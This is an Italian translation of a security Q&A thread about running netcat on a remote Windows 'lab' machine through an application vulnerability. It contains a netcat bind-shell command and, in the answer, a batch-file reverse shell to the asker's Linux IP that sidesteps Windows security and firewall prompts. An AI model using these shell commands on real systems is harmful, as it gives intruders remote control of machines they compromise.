Esegui NetCat come file bat invece di exe

4

Devo eseguire un netcat su una macchina di laboratorio remota. Posso eseguire comandi remoti tramite il browser con i diritti di amministratore (a causa della vulnerabilità dell'applicazione) ma non ho accesso alla macchina stessa.

Ho caricato nc.exe su un server remoto ma non funziona, molto probabilmente a causa di Windows che chiede se è OK per eseguire software sconosciuto, ma non c'è nessuno a fare clic su "Consenti".

Quindi ho provato a utilizzare exe2bat software, ma penso di aver fatto qualcosa di sbagliato quando ho fatto la conversione.

Questo comando dovrebbe funzionare per me: nc.exe -lvp 7777 -e cmd.exe
Conversione: exe2bat nc.exe nc.bat
Esecuzione: nc.bat -lvp 7777 -e cmd.exe

Puoi consigliarmi perché non funziona per me o cosa sto facendo male, o se ci sono altri migliori exe per convertire i pipistrelli?

    
posta Dranik 30.12.2015 - 20:08
fonte

1 risposta

2

Ho dovuto caricare nc.exe e nc2.bat per ignorare l'avviso di sicurezza "Software sconosciuto".
nc2.bat per avviare la connessione dall'interno ed evitare la richiesta di sicurezza del firewall:

@echo on
c:\%path_to_nc%\nc -nv %LINUX_IP% 4466 -e cmd
  1. Quindi imposta un listener su IP Linux

    nc -nlvp 4466
    
  2. Esegui il richiamo del comando remoto per nc2

In questo modo ho ricevuto subito il prompt dei comandi dalla casella di Windows.

    
risposta data 05.01.2016 - 15:25
fonte

Leggi altre domande sui tag